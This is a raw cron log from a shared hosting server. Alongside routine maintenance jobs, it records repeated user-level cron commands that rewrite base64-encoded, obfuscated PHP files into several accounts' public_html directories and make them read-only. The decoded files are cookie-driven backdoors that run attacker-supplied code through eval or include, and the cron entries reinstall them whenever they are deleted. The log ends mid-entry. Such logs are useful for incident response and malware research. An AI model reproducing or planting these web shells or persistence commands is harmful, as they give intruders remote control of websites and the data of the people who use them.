Mar  1 17:25:01 medusa CROND[23823]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:25:01 medusa CROND[23828]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:25:01 medusa CROND[23829]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:25:01 medusa CROND[23831]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:25:01 medusa CROND[23833]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:25:01 medusa CROND[23830]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:25:01 medusa CROND[23824]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:25:01 medusa CROND[23826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:25:01 medusa CROND[23834]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:26:02 medusa CROND[16785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:26:02 medusa CROND[16861]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:26:02 medusa CROND[16862]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:26:02 medusa CROND[16863]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:26:02 medusa CROND[16864]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:26:02 medusa CROND[16867]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:26:02 medusa CROND[16869]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:26:02 medusa CROND[16871]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:26:02 medusa CROND[16873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:26:02 medusa CROND[16874]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:26:02 medusa CROND[16880]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:26:02 medusa CROND[16881]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:26:02 medusa CROND[16882]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:26:02 medusa CROND[16884]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:27:02 medusa CROND[8925]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:27:02 medusa CROND[8926]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:27:02 medusa CROND[8927]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 17:27:02 medusa CROND[8929]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAg